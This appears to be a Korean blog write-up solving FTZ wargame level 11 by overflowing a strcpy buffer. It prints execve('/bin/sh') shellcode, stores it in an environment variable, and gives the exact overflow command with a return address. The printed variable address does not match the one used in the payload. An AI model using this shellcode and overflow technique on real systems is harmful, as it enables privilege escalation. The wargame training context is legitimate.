블로그 이전했습니다. https://jeongzero.oopy.io/
11번
본문 바로가기
워게임/FTZ

11번

728x90

11번 문제의 hint를 보면 다음과 같다.

 

strcpy 함수가 취약한 함수라는건 다 알고 있을 것이다.

 

argv[1]의 인자값을 str 버퍼에 복사를 하는데 그 크기를 검사하지 않아 원래는 256바이트 크기까지만 들어가는 것을 원했으나 임의적으로 256값보다 큰 값을 복사하더라도 해당 strcpy함수는 동작한다.

 

이러한 취약점을 이용하여 오버플로우를 일으킬 것이다.

 

스택에 대한 설명은 이전에 했으므로 간단히 설명하겠다.

 

공격 흐름

1. 메인 함수 내에서 setreuid 함수가 호출된다. 3012는 level12의 id 값으로 해당 함수가 호출되면 현재 소유자의 권한을 level12의 권한으로 변경하게 된다.

 

하지만 이는 프로그램이 정상적으로 동작하면 바로 권한이 다시 원래대로 돌아오기 때문에 이를 유지실수 있게 bin/bash 쉘을 띄우게 해야 한다.

 

 

2. 그러기 위해서 strcpy함수의 취약점을 이용하여 버퍼 오퍼플로우를 일으켜 리턴 주소를 배시 쉘을 띄우는 곳으로 변경시켜야 한다. (위에서 setreuid함수을 통하여 level12의 권한으로 변경된 상태이기 때문)

 

3. strcpy의 함수에 대한 스택 프레임이 형성되면 

 

다음과 같은 크기의 스택 프레임을 확인할 수 있다. 이는 gdb를 통해 다시 확인하면

 

 

따라서 268바이트 만큼 아무값이나 채우고 리턴주소가 들어가는 4바이트의 공간에 쉘코드의 시작 주소를 넣으면 된다.

 

 

쉘코드에 대한 설명은 나중에 자세히 하겠으며 

 

https://bob3rdnewbie.tistory.com/121

 

Shellcode 만들기 - 1 (쉘코드 정의 및 종류)

쉘코드의 정의 쉘코드(Shellcode)는 시스템의 특정 명령을 실행하는 작슨 사이즈의 프로그램을 뜻하여, 일반적으로 기계어 코드(Machine Code)로 작성되어 있다. 쉘코드란 단어는 공격 대상 시스템의 명령어 쉘(Co..

bob3rdnewbie.tistory.com

저기에 설명이 잘 되 있으므로 저거를 참고하길 바란다.

 

 

결론적으로 

 

<shellCode>
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

이러한 쉘코드를 사용할 것이다

 

저 쉘코드를 환경병수에 등록을 해주자.

 

export SHELLCODE=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

 

그다음 설정한 환경변수의 주소값을 알아내는 코드를 작성하자.

 

 

해당 파일을 컴파일 후 SHELLCODE라는 환경변수의 주소값을 알아 낼 수 있다.

 

SHELLCODE 환경변수 : 0x0xbffffe65

 

 

따라서 ./attackme `python -c 'print "A"*268+"\x96\xfb\xff\xbf"'`를 입력하면 level12의 비밀번호를 알수 있다

 

728x90

'워게임 > FTZ' 카테고리의 다른 글

16번  (0) 2019.05.11
13번  (0) 2019.05.11
12번  (0) 2019.05.11